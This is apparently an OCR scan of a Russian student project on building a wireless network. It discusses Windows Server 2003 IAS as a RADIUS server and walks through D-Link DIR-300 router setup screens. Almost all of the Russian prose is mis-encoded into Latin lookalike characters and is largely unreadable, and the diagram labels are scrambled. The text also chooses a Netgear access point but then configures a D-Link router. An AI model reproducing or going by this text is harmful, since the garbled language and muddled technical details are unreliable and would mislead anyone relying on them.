KOMMepYeCcKue MpoayKThl. [lisi BbIOOpa Oojiee MOAXOMAMAIIEro MPOAYKTa CPOPMYIUPYIO
JIBA OCHOBHBIX KpuTepusa. IIpoaykT momkeH HMeTh CcepTU(UKAT COOTBETCTBUS
TpeboBanusiM ['octexxkomuccun Poccun, B obmactu 3ammrtel uHbopmanuu ot HCJI.
[IpoyKT MOMKEH HMMETh KaK MOKHO MEHBIIYI0O CTOMMOCTBIO, NPH 3TOM 0011a/1aTh
JOCTAaTOYHOU (PYHKIIMOHAIBHOCTBIO.

Ucnons3oBanne anmapatHbix RADIUS cepBepoB mjis HeOONbIIMX ceTe  HE
ONpaBIaHO H3-32 UX BBICOKOM cTOMMOCTH. CBOOOJHO pacmpocTpaHsieMble MPOIYKThl HE
UMEIOT CEPTHU(PUKATOB COOTBETCTBUS, HX HCIOJIb30BAHUE MOKET OBITh HE 0O€30MacHbIM
(mporpamma MOXKET  COJIEpXkaTb  BPEIOHOCHBIM  KOJA, HE  TapaHTUPyeTCs
KOH(HUIEHIUAIBHOCTh W KpHUNOTOrpaduueckas 3almura HHPOPMALMH C  KOTOPOH
B3auMoOZeicTByeT mnporpamMma). Ilogxonsdmum BapuaHTOM SBJSETCS HCHOJIb30BaHUE
BkitoueHHoro B coctaB Windows server 2003 Enterprise Edition RADIUS — cepsepa
(cmyx6a IAS). OnepamnrionHast cucreMa umeer cepruduxar coorsercTBus (Nel12-0938
BbiaH 23.10.06 mertpom Oe3omacHoctu cBsizu ®Cbhb Poccun) m MoKeT MpUMEHSTCS B
COCTaB€ aBTOMATU3UPOBAHHBIX MH(POPMAITMOHHBIX CUCTEM, pabOTaOIIMX C HHpOpMaluen
HE COJIEpKalllell TOCYJapCTBEHHYIO TaiHy. [l pasnuyHbIX penieHud MOryT ObITh
co37aHbl paznu4Hbie KoHpurypamuu ciryk0b1 Internet Authentication Service (IAS):

- becnpoBoaHoO# HOCTYTI.

- YajieHHBIN JOCTYIl OpPTraHu3aluid 4epe3 KOMMYTHPYEMOE IMOIKIOUYCHUE
WIM BUPTyalbHYIO YacTHYIO ceTb (VPN).

- YaneHHbld KOMMYTUPYEMBIN WM OECIIPOBOAHOM JOCTYI Yepe3 BHEIIHUX
MOCTABIIUKOB.

- Hoctyn x UHTepHerTy.

- JlocTyn ¢ mpoBepKoW MOJIIMHHOCTU K pecypcaM SKCTPaceTu ISl AEIOBBIX
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napTHEPOB
A Oyay ucnons3oBaTh Ciyx0y IAS s aBTOpU3alMK KIMEHTOB OCCIPOBOJHOMN
cet. OCHOBHBIE BO3MOXHOCTU CiIyXObl. [lommep:kuBaroTcs pazHOOOpa3HBIE METObI
IpOBEpKH NOMIMHHOCTU. [lognepxuBarorcss npotokonasl PPP nposepkn momnmmHHOCTH C
naposieM, Takue kak npotokond PAP (Password Authentication Protocol), mporokon
CHAP (Challenge Handshake Authentication Protocol), mporokon MS-CHAP (Microsoft
Challenge Handshake Authentication Protocol) 1 MS-CHAP Bepcun 2 (MS-CHAP v2).
[Ipotokon EAP HudpacTpykTypa, oOCHOBaHHas Ha cTaHgaptax WMuTepHeTta wu
pasperaroniasi TOMOJHUTEIbHbIC MPOU3BOJIbHBIE METO/IbI TPOBEPKU MOIJIUHHOCTH, TAKHE
KaK CMapT-KapThl, CEPTHU(PUKATHI, OJHOPA30BbIC MAPOJIM U TE€HEPaTOphl KOjJa IOCTYIIA.
Crnoco0 mnpoBEpKH MOIMHHOCTH, B KOTOPOM IpuMeHsAeTcs uHppactpyktypa EAP,
spisiercsi criocobom tumna EAP. B cinyx0Oy IAS BrimroueHa mogaepxka crmoco6oB EAP-
Message Digest 5 (MD5) u EAP-Transport Level Security (EAP-TLS).
[lonnepxuBaroTCcs paznuvHbe CcHOcoObl aBTopu3anuu. lIpoTokon
DNIS (Dialed Number Identification Service). ABTopu3aius HONBITKA TOIKIFOUCHUS Ha
ocHOBe Habupaemoro Homepa. Cmyx6a DNIS mnoka3piBaeT HaOpaHHBIH HOMEpP
MOJIy4aTesl0 BbI30Ba. DTa BO3MOXKHOCTh MPEIOCTABISAETCS OOJIBIIMHCTBOM OOBIYHBIX
teneonnbix komnanuid. [Tpotokon ANI/CLI (Automatic Number Identification/Calling
Line Identification). ABropu3anus MOMBITKY MOAKIIOUEHISI HA OCHOBE HOMepa TenedoHa,
¢ kotoporo BbimosiHAETCs BbI30B. Ciyx6a ANI/CLI moka3piBaeT mosiydaTento BbI30Ba
HOMep TeneoHa, ¢ KOTOPOTO BBIMOJHAETCS BBI30B. DTa BO3MOKHOCThH MPEJOCTABISAETCS
OOJBIIMHCTBOM OOBIYHBIX TeNIe(OHHBIX KOMIAHUW. ABTOpU3alUs JJIs rOcTeil. YdeTHas
3alUCh TOCTA MPUMEHSIETCS IS HACHTU(PUKALUKM TIOJb30BaTeNsd MPU YCTAHOBJICHHUU
MOJIKJTFOUeHUS 06€3 YUETHBIX JaHHBIX MTOJIB30BaTeNs (MMEHU TIOJ30BATENSI U TTApOJIs).
Heonnoponueie cepBepsl goctyma. Cnyxb6a IAS mnoanepxuBaer
CepBepHI 0CTyMa, peann3oBaHHbie Ha ocHOBE NO0KyMeHTOB RADIUS RFC 2865 u 2866.
[Tomumo cepBepoB yHajieHHOTO JocTyma ciyk6a [AS mopgmepkuBaeT cremyromue

BO3MOXXHOCTH. ToukuM JmocTynma K OecnpoBogHoi cetu. [IpuMeHeHHe TMONUTHK

164
227



ymaleHHoro joctynma u mapamerpoB mopTta Wireless-IEEE 802.11 mo3BomsieT
ucrnosib3oBaTh ciayx0y IAS B kaudectBe cepBepa RADIUS mns Ttodek jgoctynma K
OECIIpOBOJIHOM CETH, B KOTOPBIX TMpOBEpKa MOJIMHHOCTH ¢ aBTOpu3alus s
OECIIPOBOJIHBIX y3J10B MPOU3BOAUTCA ¢ moMolbio RADIUS.

KommyTaTopsl ¢ mpoBepkol MOIIMHHOCTU. [IpriMEHEeHHE NMONHUTHK YJIajJI€HHOIO
noctyna u mapametpoB nopta Ethernet mo3Bossier ncnonb3oBaTh Cryx)0y [AS B kadecTBe
cepBepa RADIUS nis kommyTtaropoB cetu Ethernet, B KOTOpBIX MpoBepKa MOTMHHOCTH
W apTopuzaius mnpousBoguTcs ¢ nomomblo RADIUS. Huterpamms co ciyx0oi
MapuipyTH3auuu 1 yaaieHHoro aocryna. Cioyx0el [AS n MapuipyTu3anuu 1 yIaaeHHOTO
JIOCTYTIa MCHOJB3YIOT OOIME MOJUTUKUA YJAJICHHOTO JOCTYIa U BO3MOXHOCTH BEJCHUS
¢aiina xypHana. Takasg uHTerpanus o0ecrneymBaeT COrjiacoBaHHyIo padoTy ciyx0 IAS u
MapHIpyTH3alud M YJAJEHHOrO JO0CTyna. OTO TMO3BOJISIET pa3BEPTHIBATH CIIYXKOY
MapHIpyTH3allud M YJAJICHHOTO JOCTyna Ha HEOONbIIMX Yy37aX, HE MPeIbsBIsL
TpeOOBaHUN K HAJIMUUIO OTAEIBHOTO IeHTpain3oBaHHOTO [AS-cepBepa. ObecnieunBaeTcs
TaKK€ BO3MOXXHOCTh MAaCIITAaOMPOBAaHUA MOJENIU I[IEHTPATU30BAHHOTO YIPaBICHUS
YAQICHHBIM JIOCTYIIOM, KOTJla B OpraHu3aluyd TOSIBATCS HECKOJIBKO CEPBEPOB
MapuIpyTu3auu v yaaieHHoro poctyma. Cayx0a IAS coBMecTHO ¢ cepBepamu
MapuIpyTU3alUA U YAAIEHHOTO JOCTYNa UCIOJIb3YIOT OAHY TOUKY aAMUHUCTPUPOBAHMS
JUTSl YJATIEHHOTO JIOCTYIIAa K CETH Y€pe3 BHEIIHETO MOCTABIIMKA, BBI30BA 10 TPEOOBAHUIO U
noctryna yepe3 VPN. Tlomutuku cmyxOb1 [AS GO0NBIIOTO HEHTPAJIBHOTO CaiiTa MOYKHO
HKCHOPTUPOBATh HA HE3aBUCHUMBIA CEpPBEpP MaplIPYyTU3AUU MU YAAICHHOTO JOCTyNHa
MaJIoro Ccaura.

[Ipokcu-ceppep RADIUS. Cnyx6a IAS mno3BosiseT mepechbuiaTh BXOJSIIUE
3anpocsl RADIUS Ha papyrme RADIUS-cepBepsl st NpoOBEpKM NOMJIMHHOCTH U
aBTOpu3aluu uin ydera. [[elicTBys B kauecTBe npokcu-cepsepa RADIUS, ciyxba 1AS
MOXET OBITh MPUMEHEHA BCSIKUU Pa3 KOT/la BOSHUKAET HEOOXOIUMOCTh MapIIpyTH3AIUN
3anpoca RADIUS na apyroit RADIUS-cepep. Cnyx6a IAS mosBosiser mnepechliaTh

3aIlpOChbl, OCHOBAHHBIC HA UMCHH IT1OJIb30BATCIIA, IIOJTYy4YaThb JOCTYII K IP-az[pecy CCpBCpa,
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UACHTU(UKATOPY CepBepa U IPYTHM MapameTp.

ObecnieueHre yAalleHHOTO U OECIpOBOJHOIO JOCTyIa B CETh U€pe3 BHEIIHErO
noctaBuivka. I[lpu ynaneHHOM AOCTyne 4Yepe3 BHEUIHEro IOCTaBUIMKA 3aKII0YaeTcs
JIOTOBOP MEXIy OpraHu3anueil (3akazuyukom) U mnoctaBiiukoMm ycayr Murtepuera (ISP).
[TocTaBuuk yciyr MHTEepHEeTa 0OecnieunBaeT MOJKII0OUECHUE COTPYAHUKOB OpraHu3aiiu K
CBOEH CETH mepen ycTtaHoBieHWeM TyHHeNns VPN B wactHyro ceTb opranuzainuu. Koraa
COTPYIHHUK TOAKIoUaeTcss K cepBepy NAS mocraBmuka yciayr MHTepHeTa, HAa cepBep
IAS, pacnoyioxeHHBIN B OpraHU3alNH, [IEPECHUIAIOTCS 3alIMCH IPOBEPKU HNOMJIMHHOCTH U
ucnions3oBanusa. CepBep [AS mo3BossieT oOpraHu3aluu  YIOPaBJSITh  MPOBEPKOMN
IOJJIMHHOCTH TIOJIB30BATENIEH, OTCIEKHUBATh MCIIOJIB30BAHUE CETU ITOCTABILNMKA YCIIYT
HMHTepHeTa M yNpaBiATh JOCTYIIOM COTPYIHHMKOB K Hel.lIpemMymiecTBo mocryma depes
BHEIIIHETO MOCTAaBIIMKA 3aKJII0YAaeTCsl B MOTEHUUATBHON SKOHOMHUH. Mcmosb3oBaHue
MapLIpyTU3aTOPOB, CEPBEPOB CETEBOT0 JOCTYIA U JOCTYyNA K KaHaJIaM IJI00aJbHOH ceTH,
IPEIOCTABIEHHBIX MOCTABLIIMKOM YCIIYT, BMECTO IPUOOPETEHUSI COOCTBEHHBIX, IO3BOJISET
NOJyYUTh 3HAUUTEIbHYIO SKOHOMMIO Ha 3aTpaTaX, CBS3aHHBIX C O0OpYyIOBaHHEM
(uHppacTpykTypoit). MexXayHapoAHble TOJKIIOUYEHHUS] 4Yepe3 MOCTaBIIMKAa YCIyr
HHTepHeTa MO3BOJISIOT CYIIECTBEHHO COKPATUTh CUETa OPTaHU3alUU 32 MEXIYTOPOJIHHE
TenedoHHbIe 3BOHKU. brarogaps nepexiaiblBaHUIO HA MMOCTABILMKA 3a00T MO MOAECPKKE
CETH HCKIIIOYAIOTCS pacxojibl Ha ee agMuHUcTpupoBaHue.Kpome Toro, uepe3 BHEHIHETO
MOCTaBIIMKa MOXHO OCYILIECTBIATh M OecrnpoBogHOW nocTtyn. IlocTtaBmimk MoxeT
obecrieunTh OECPOBOJHON JOCTYIl C YOAJICHHOW TEPPUTOPUU W, HCIOIB3YS HMS
MOJIB30BATENsI, MEPEChUIaTh 3alpPOC HAa MOJKIIOYEHHUE [JIsi MPOBEPKU MOMJIMHHOCTH U
apropuszaniuu  Ha TOT RADIUS-cepBep, KOTOpBIII HaxoAUTCS TMOJ YIPaBICHUEM
OpraHu3aluyi. XOpoUUM IPUMEPOM CIYKUT A0CTyN K UHTEepHETY B a3pomnopTax.

[lenTpanu3oBaHHas MPOBEPKA MOMJIMHHOCTH W aBTOpH3alUs IOJIb30BaTENCH.
[Tpu mpoBepke MOATMHHOCTU 3alpoca Ha MOAKIoUeHue ciykba IAS cBepser yueTHble
JAHHBIC MOAKIIOYEHUSI C YUYETHBIMH 3aIUCSAMHU IOJIb30BATENEH B JJOKAJTBLHOM JIUCIIETYEPE

y4eTHbIX 3ammceit 6e3omacHoctu (SAM) nomena Microsoft® Windows NT® Server 4.0
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um gomena Active Directory®. [Ins momena Active Directory B cimyx0e IAS umeercs
MOJJIEP)KKa HMCIOJIb30BAaHUSI OCHOBHBIX UMeH mosb3oBaTeneit (User Principal Name,
UPN) Active Directory m yHuBepcalbHbIX rpymm. [l aBTOpm3amuu 3ampoca Ha
MOJKITIOYCHHE B CITy)O0e [AS mpumeHstoTcst mapaMeTphl BXOIAIINX 3BOHKOB JIJIS1 yU€THON
3alUCH TOJb30BaTelsl, COOTBETCTBYIOIIME KaK YYETHBIM JAHHBIM IMOJKIIOYEHHUS, TaK U
NOJINTUKAM YJAJIEHHOTO JOCTyIa. YTMPABICHHE pPa3pelieHHEM YAAJICHHOrO JOCTyIa
OCYIIECTBISIETCS. OTHOCUTEIBHO IPOCTO, OJHAKO TaKOW MOAX0J He oOecrneynBaeT
MaclmTabMpoOBaHUA IO Mepe pocTa opranu3anuu. [loNMUTUKM yHameHHOTo JoCTyma
o0OecreunBalOT 0OoJjiee MOIIHOE W THMOKOE YIpaBICHHWE pa3pelIeHUs MU YAAJIEHHOIO
nocTyna. ABTOpuU3alsl JOCTyNa B CETh MOXET MPOU3BOJUTHCS HA OCHOBE PA3ITUUYHBIX
napameTpoB, BKIIOYas onucaHHble fanee. (BxoxaeHne ydyeTHOM 3amucu Mojab30BaTeNs B
rpynny, Bpems cyrok wim neHb HeAenw, Tunm ycTpoHCTBa, C HOMOIIBIO KOTOPOTO
MPOU3BOUTCS TOAKIIOYEHUE (HAmpuMmep OechpoBOAHOE YCTPOMCTBO, KOMMYTAaTOpP
Ethernet, Mogem wiu TynHens VPN, Homep BeI3biBaemoro tenedona, CepBep A0CTyIa, C
KOTOpOro ObLI mMojy4yeH 3arpoc, WHTepBan BpemeHH OesnelicTBusi, MakcumanbHas
MPOJIOIKUTEILHOCTh OJHOTO ceaHca, BpIOOp MNpUMEHsSEeMBIX CIOCOOOB MPOBEPKU
NOJIMHHOCTH, [IpuMeHenne mmudpoBaHus U CTENEHb €r0 CTOMKOCTH).

[leHTpanu30BaHHOE  AJIMHHUCTPUPOBAHME  BCEX  CEPBEPOB  JIOCTyNa
opranm3anuu. Ilogaepxkka crangaptra RADIUS mno3Bonsier ciyxb6e IAS ynpaBisth
napamMeTpaMH TOJKIIoUeHus sl Joboro cepBepa NAS, uCHoONBb3yHOMIET0 CTaHAAPT
RADIUS. Crangapt RADIUS Takxe Mmo3BOJISIET OTACIbHBIM MOCTABIIMKAM YIaJICHHOTO
JIOCTyMa CO3/1aBaThb COOCTBEHHbBIC PACIIMPEHHS, Ha3bIBa€Mble OCOOBIMU aTPUOyTaMU
BeHnopa (Vendor-Specific Attribute, VSA). Cnyxb6a IAS o0benuHser pacumpeHus,
MpEe0CTaBICHHbIE HECKOJIbKUMHU IOCTABIIMKAMHU, B OJWH CJI0Bapb. JlOMOJHUTEILHbBIC
atpuOyTel VSA MoryT OBITh BHECEHBI B MPOQHUIL OTIAEIBHBIX MOJUTHK YIAJICHHOIO
JOCTyIA.

LlenTpanu3oBaHHbId ayJuT U yYE€T HUCNOJb30BaHuA. [logmepxkka cranpmapra

RADIUS no3Bomsiet cimyx6e IAS nienTpanu3oBaHHO coOMpaTh 3amUCcH 00 UCITOIH30BAHUH
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(3ammcu ydera), OTHpaBleHHbIE BceMu cepBepamu jgoctyma. Cayxba [AS xpanut
CBEICHMsI ayauTa (HampuUMep, YCIEXH TMPOBEPKH MOUIMHHOCTHU U OTKa3bl) H
WCITOJIB30BaHUS (HAIIPUMED, MOAKIIOUEHUS U OTKIIIOUCHHU) B (aitmax KypHainoB. Cioyx0a
[AS nognepxuBaeT Gopmat Qaiina xxypHaa, 10MyCKarOINi HETOCPEICTBEHHBI UMIIOPT
B 0a3y pansbIX. [locienyromuii aHaiau3 JaHHBIX MOYKET OBITh BBIIOJHEH C IOMOILBIO

JIF000T0 OOBIYHOIO ITAKETa aHAJIN3A.

IAS B kauecTtBe RADIUS-cepBepa

B nannoit padore ciyx0a Internet Authentication Service Oyzaer ucronbp30BaThCs B
kauectBe RADIUS — cepBepa. Cepep RADIUS Oyner BBINOMHATH NPOBEPKU
IOJUIMHHOCTH, aBTopm3auuio n yuer kineHToB RADIUS. B moem cinydae kimeHTOM
panuyc knueHtaMmu RADIUS Oynyt Touku goctyma. J[jis aBTOpu3aliuu MOJIKIIOYCHUS
|AS-cepBep npuMeHsieT mapaMeTphbl BXOJIAIIUX 3BOHKOB YUETHOM 3alKCH MOJIb30BaTeNs U
NOJIMTUKY YAAJEHHOTIO JO0CTyNa, 3alpochl yyeTa OyAyT COXpaHATCS I aHaiu3a B
JokanbHOM (haiine xxypHana. Ha pucynke 4.39 nokaszan IAS-cepBep B kauecTBe cepBepa
RADIUS nyst knmuentoB 6ecipoBosiHoro aocrymna. Cepsep [AS ucnons3yer 1omeH Active
Directory s mpoBepKU MOAJIMHHOCTH YUETHBIX JAHHBIX MOJB30BaTENSl B MOCTYMAKOIIUX

coobmenusx 3ampocoB aoctyna RADIUS.

FrAarmerdAT el
AOCT wra

el —

"===;I-..._-H... = |
S=cn F'DBD.EI.HDI‘CIIi TepEsep =l

A Ao CTY S A ST a3

CTepEssep Ias=

OHTROnNrdEeEn OoMmeHa

iTwe Crechtory

b7

-

Puc. 39.

=

crionb3oBanue |AS B kauectBe RADIUS-cepBepa
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Ecnu [AS-cepBep ucnomnn3yercs kak cepsep RADIUS, coobmenuss RADIUS
00ecreurBaOT MPOBEPKY MOIMHHOCTH, aBTOPHU3AIUI0O M YYET MOJKIIOUEHHA K CETH
cienyromuM obpazom. CepBepbl A0CTyNa, HAIPUMEP CEPBEPHI YAAIEHHOIO JIOCTyIa K
cetu, VPN-cepBeppl M TOYKH JOCTyNa K OECHPOBOJHON CETH, MOJY4YarOT 3alpOoChl
MOJKJIIOYEHUS OT KJIIMEHTOB JOCTYyIA.

CepBep pgoctymna, HacTpOCHHBIM st ucnonb3oBaHusi RADIUS B kauectBe
MIPOTOKOJIA MTPOBEPKH MOJIMHHOCTH, aBTOPU3ALIMU U Y4€Ta, CO3JaeT COOOIIEHUE 3ampoca
nocryna u noceuiaer ero Ha [AS-cepBep. CepBep [AS ouenuBaeT cooOiieHue 3ampoca
nocryna. [Ipu HeobxomumocTtu [AS-cepBep mochUIaeT 3ampoc YTOYHEHHS Ha CEpBEP
nocryna. Cepeep A0cTyna o0padaTbIBaeT 3alpOC YTOUHEHUS U MOCHLIAET OOHOBICHHBIN
3ampoc goctyna Ha [AS-cepsep.

[Ipou3BoaUTCS MPOBEPKA YYETHBIX AAHHBIX MOJB30BATENS, a TAKXKE MOIyYCHHE
napaMeTpoB BXOJSIIMX 3BOHKOB YYETHOW 3alUCH I0JIb30BaTeNsl uepe3 Oe3omacHoe
COEIMHEHHE C KOHTPOJUIEpOM JoMeHa. [lonbiTka MOAKIIOYEHUS] aBTOPU3YETCS C yU4ETOM
MapaMeTpOB BXOJIAIINX 3BOHKOB YUYETHOM 3aIKCH MOJIb30BATEINS U MOJIUTUKH yIAJIEHHOTO
nocryna. Ecnu aig MONBITKM MOAKIIOYEHUS MPOBEPKA MOJJIMHHOCTH M aBTOpHU3aLUs
BbITIOTHEHA, [AS-cepBep mochUiaeT COOOlIEHHE TPEAOCTaBICHUS JOCTYyMa Ha CEepBep
noctyna. Eciam mombITKa MOAKIIOYEHWS HE NPOIUIa MPOBEPKY MNOMIMHHOCTH WIIU
apropuzanuio, [AS-cepBep mMochIaeT COOOIIEHUE 3ampelieHus JIOCTyrna Ha CepBep
nocryna. CepBep A0CTyna 3aBepIIaeT MPOLECC MOAKIIOUEHHUS C KIMEHTOM JOCTyIa H
MOChUTaET CcooOIeHue 3ampoca ydyera Ha IAS-cepBep, Ha KOTOPOM COOOIICHUE

3anuceiBaercs B )KypHall. Cepsep IAS nmoceutaeT 0TBET yyeTa Ha cepBep JOCTyIa

Br100op 000opynoBaHus 1JI POEKTUPYEMOIl CeTH

[IpoekTupyemas ceTb CTpOUTCS Ha OCHOBE OecrpoBogHOro KommyTaTtopa Netgear
ProSafe Smart WFS709TP. Ero ommcanue npuseneHo B Tabmume 4.12. Kommyrarop
crocobeH pabotath ¢ Toukamu Joctymna cienyrommx mozenei: NETGEAR ProSafe

802.11a/g Dual Band Light Wireless Access Point (WAGL102); NETGEAR ProSafe
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802.11g Light Wireless Access Point (WGL102); u NETGEAR WGI102 u WAG102.
Mogemn WG102 u WGL102 wumeroT oauHaKoBbIE (PU3MUECKHUE XapaKTEPUCTUKUA H
OTJIMYAIOTCS JIUIIH MMPOTPAMMHBEIM oOecriedeHreM (PyHKITMOHUPYIOMUM Ha HUX. Momenu
WAGL102 u WAG102 Takxe UMEIOT OJIMHAKOBbIE (PU3NUECKUE XapaKTEPUCTUKU. TOUKU
WGI102 u WAGI102 BeimylieHbl paHbllie OECIpPOBOJHOIO KOMMYyTaTopa M B CBOEH
NEPBOHAYAILHON KOH(MUTYypallud HE MOTYT B3aWUMOJCHCTBOBATH C OECIPOBOIHBIM
KOMMYTaTOpOM, OJHAKO MPOU3BOAMUTENIM BBITYCTUIM CBEXYIO NpouuBKy. Ee MoxxHO
cB0OOaHO ckayaTh ¢ caiita komranuu NETGEAR. Bei6op OyaeM npous3BOAWTHE U3 JIBYX
monenert WG102 u WAG102, Gosiee HOBBIE MOJIETT HE pACCMATPUBAIOTCS TaK KakK MPH
OJIMHAKOBBIX (PU3MYECKUX XapaKTEPUCTHKAX C OoJiee CTaphlMM TOYKAMH UX II€HA
npeBbIaeT nociaeanue o6osuee yem Ha 1000 pyOneit. XapakTepuCTUKH TOUEK IPUBEIECHBI
B Tabiuiax 4.13 u 4.14 coorBeTcTBeHHO. M3 X075 U3 NPUBEACHHBIX B TAOIUIIAX JTAHHBIX
OBLJIO pelIeHO 4TO JUIsl peliaeMoi 3anadd HauOoJiee MOIXOJSIICH SBISETCS MOJIETh
NETGEAR WG102. WG102 nonnepkuBaeT TexHojoruto Power over Ethernet (POE),
CJIEIOBATENLHO OTHAJaeT HEOOXOAMMOCTh B MPOKIIAJIKE AJIEKTPUUECKOW CETH B MeCTa
YCTaHOBKM TOYEK. ElNie OJWH HE Majao BaXHBIM IUIKOC 3TOM TEXHOJOTHHU SBISECTCS
BO3MOYKHOCTh YIPABJISATH MATAHUEM BKIIIOYATH/BBIKITIOYATh TOYKHU JIOCTYIA C ITOMOIIBIO
OecrpoBOHOIO0 KOMMYTATOpa (€ciii TOYKa JOCTyIMa MO KaKUM TO MPUYMHAM MOBUCHET
aIMUHUCTPATOP CMOXKET Tepe3arpy3uTh €e¢ He BcTaBas ¢ pabodero mera). Toukum

noctyna WG102 nomHOCTBIO COOTBETCTBYIO cTanaapty 802.11g.

3. IlopsA0K BbINOJHEHUS pa0dOThI

Hacrpoiika Toyek xocrymna

Jns Toro 49rtoObl TMEpeWTH K HACTPOMKE TOYKH JOCTyNa HEOOXO0JAUMO
nokarounth ee K [IK mo cpencrBam Ethernet u moakirounTcss kK HEH MO HCHOB3YsI
telnet unmu WEB — untepdeiic. S Oyny ucnonszoBare WEB — unTepdeiic, on 6omnee
npocT u HarsiaeH. [To ymomuanuto Touku nocrymna D-Link Dir 300, umerot IP — aapec

192.168.0.1, ums moas3oBaress “admin” u mapous “password”.
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Product Page : DIR-300 Hardware Version : B1 Firmware Version : 2.01

Login to the router:

Password | | (Login ]

WIRELESS

Puc. 40. Hayano HacTpolku MapuipyTuzaTopa

HGO6XOI[I/IMO HaCTPOUTb TOYKY HOCTYIIA. I[J'ISI 9TOI0 3axXOJHM Ha 3aKJIaIKy

Setup — Internet Setup.

If yau are configuring the device for the first time, we recommend that you click on the Internet
Connection Setup Wizard button and follow the instructions on the screen. If you wish to madify or
configure the device settings manually, click the Manual Internet Connection Setup button.

INTERNET CONNECTION SETUP WIZARD

If you would like to utilize our easy to use Web-based Wizard to assist you in connecting your new
D-Link Systermns Router to the Internet, click on the button below.

Internet Connection Setup Wizard

Mote: Befare launching the wizard, please make sure you have followed all steps outlined in the
Cuick Installation Guide included in the package.

MANUAL INTERNET CONNECTION OPTIONS

If yau would like to configure the Internet settings of your new D-Link Router manually, then click an
the button below.

[ Manual Internet Connection Setup ]

Puc. 41. Hacrpoiika Internet.

Hns Hactporiku Internet HeoOxomuMo BbIOpaTh OAHY M3 MpejiaracMbIX

¢dyukimit: Internet connection Setup Wizard (aBromaTtudeckass HACTpOWKa) WK
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Manual Internet Connection Setup (pyunas HacTpoiika). Bymem HCHOnIbp30BaTh
Internet connection Setup Wizard.

This wizard will guide you through a step-by-step process to configure your new D-Link router and connect to the
Internet.

Step 1. Set your Password

Step 2: Select your Time Zone

Step 3: Configure your Internet Connection
Step 4: Save Settings and Connect

Puc. 42. IlepBslii mar

Heo6xomumo Oyaet mpoiitu 4 mara Hactpoiku. T.k. MHTepdeiic HacTpoitku
MAapIIPpyTHU3aTOpPa JIOCTATOYHO TMOHSTEH, TO HACTPOMKA MapUIpyTH3aTOpa HE

IPEJCTABISAET OCOOBIX 3aTPYAHECHUH.

By default, your new D-Link Router does not have a password configured for administrator access to the Web-based
configuration pages. To secure your new networking device, please set and verify a password below:

Password : | |

Confirm |
Password:

[F‘rev] [Ne;d] ,_ Cancel ]

Puc. 43. Bropoii mar

Heo6xonumo BBeCTH Mapoib.
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for the router.

Time Zone : | (GMT-08:00) Pacific Time (U3 & Canada); Tijuana w

MTP Server Used : |nt|:|1.d|ink.|:|:|m v|

[F‘re'.r] [Next] [ Cancel ]

Select the appropriate time zone for your location. This information is required to configure the time-based options

Puc. 44. Tpertnii mar

3aTtem BeIOpaTh COOTBETCTBYIOIIUN YACOBOM MOsIC.

(*) DHCP Connection (Dynamic IP Address)
Choose this option if your Internet connection automatically provides you with an IP Address. Most Cable Modems
use this type of connection.

) Username | Password Connection (PPPOE)

Choose this option if your Internet connection requires a username and password to get online. Most DSL
modems use this type of connection.

) Username | Password Connection (PPTP)

Choose this option if your Internet connection requires a username and password to get online. Most DSL
modems use this type of connection.

) Username | Password Connection (L2TP)

Choose this option if your Internet connection requires a username and password to get online. Most DSL
modems use this type of connection.

() Static IP Address Connection

Choose this option if your Internet Setup Provider provided you with IP Address information that needs to be
configured manually.

O Russia PPTP (Dual Access)

Choose this option if your Internet connection requires a username and password to get online as well as a static

) Russia PPPoE (Dual Access)
Choose this option if your Internet connection requires a username and password to get online as well as a static

route to access the Internet Service Provider's internal network. Certain 1SPs in Russia use this type of connection.

route to access the Internet Service Provider's internal network. Certain 1SPs in Russia use this type of connection.

Puc. 45. YerBepTslii mar

Harrem ciaydaet 3to DHCP Connection (Dynamic IP Address).
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To set up this connection, please make sure that you are connected to the D-Link Router using the PC that was
originally connected to your broadband connection. If you are, then click the Clone MAC Address button to copy your
computers MAC Address to the D-Link Router.

MAC Address: (oo |-[1e  |-[sc  |-[i0  |-[10 |16 |(optional)

[ Clone MAC Address |

Host Name : | DIR-300 |

Mote: You may also need to provide a Host Mame. If you do not have or know this
information, please contact your ISP.

[Prev] LNext] I_ Cancel ]

Puc. 46. [Tposepka MAC anpeca

Hanee Oyner mpeyioKeHO MPOBEPUTh MaK aJpec COeIUHEHUs W BBecTu HOSt

Name.

The Setup Wizard has completed. Click the Connect button to save your settings and reboot the router.

Puc. 47. 3aBepiiieHre HaCTPOUKHU

[Tose Haxkatusst Connect OyaeT yCTaHOBJICHO COSAMHCHMUS.

Saving Changes and Restarting.

If you changed the IP address ofthe router
you will need to change the IP address in your
browser before accessing the configuration Web site again.

Puc. 48. CoxpaHeHue u nepe3anyck MapupyTu3aropa

Jlanee HEOOXOAMMO COXPAHUTh U3MEHEHUS U MePEe3ayCTUTh TOUKY JOCTYTIA.
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Jlanee HEOOXOIUMO HACTPOUTH OECHpPOBOJAHOE coeauHeHue. (s 3Toro Hajmo

3aiiTH Ha BKJIaaKy Setup — Wireless Setup.

There are 2 ways to setup your wireless connection. You can use the Wireless Connection Setup
Wizard or you can manually configure the connection.

Please note that changes made in this section will also need to be duplicated on your wireless
clients and PCs.

WIRELESS CONNECTION SETUP WIZARD

Ifyou would like to utilize our easy to use Web-based Wizard to assist you in connecting your new
D-Link Systems Wireless Router to the Internet, click on the button below.

Wirelezs Connection Setup Wizard

HNote: Before launching the wizard, please make sure you have followed all steps outlined in the
Cluick Installation Guide included in the package.

MANUAL WIRELESS CONNECTION OPTIONS

Ifyou would like to configure the Internet settings of your new D-Link Raouter manually, then click on
the hutton below.

Manual Wirelezs Connection Setup

Puc. 49. Hactpoiika 6ecripoBOIHOM ceTh

3nmech TakkKe MpeuIaracTcs JBa TWIa HacTpoiiku Internet connection Setup
Wizard wmu Manual Internet Connection Setup. B atot pa3 Beioepem Manual Internet

Connection Setup .
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UUse this section to configure the wireless settings for your D-Link router. Please note that changes
made in this section may also need to be duplicated on your wireless client.

To protect your privacy you can configure wireless security features. This device supports three
wireless security modes including: WEFR, WPA and WPAZ.

Save Settings ] [ Don't Save Settings

WI-FI PROTECTED SETUP {ALSO CALLED WCH 2.0 IN WINDOWS VISTA)

Enahle -
Current PIM : 71719566
| GenerateNew PN | |  ResetPIN to Defaul
Wi-Fi Protected Status © Enabled / Configured
[ Re=zet to Unconfigured ]

[ Add Wireless Device with WPS |

WIRELESS NETWORK SETTINGS

Enable Wireless - | Aways % [ New Schedule |

Wireless Metwork Mame - |dlink | {Also called the SSID)
Enable Aute Channel Selection : []

Wireless Channel -

Transmission Rate - |Elest (automatic) v|[r.,1mu5].

WM Enahble - (Wireless QoS)
Enable Hidden Wireless . [] (Also called the S3ID Broadcast)

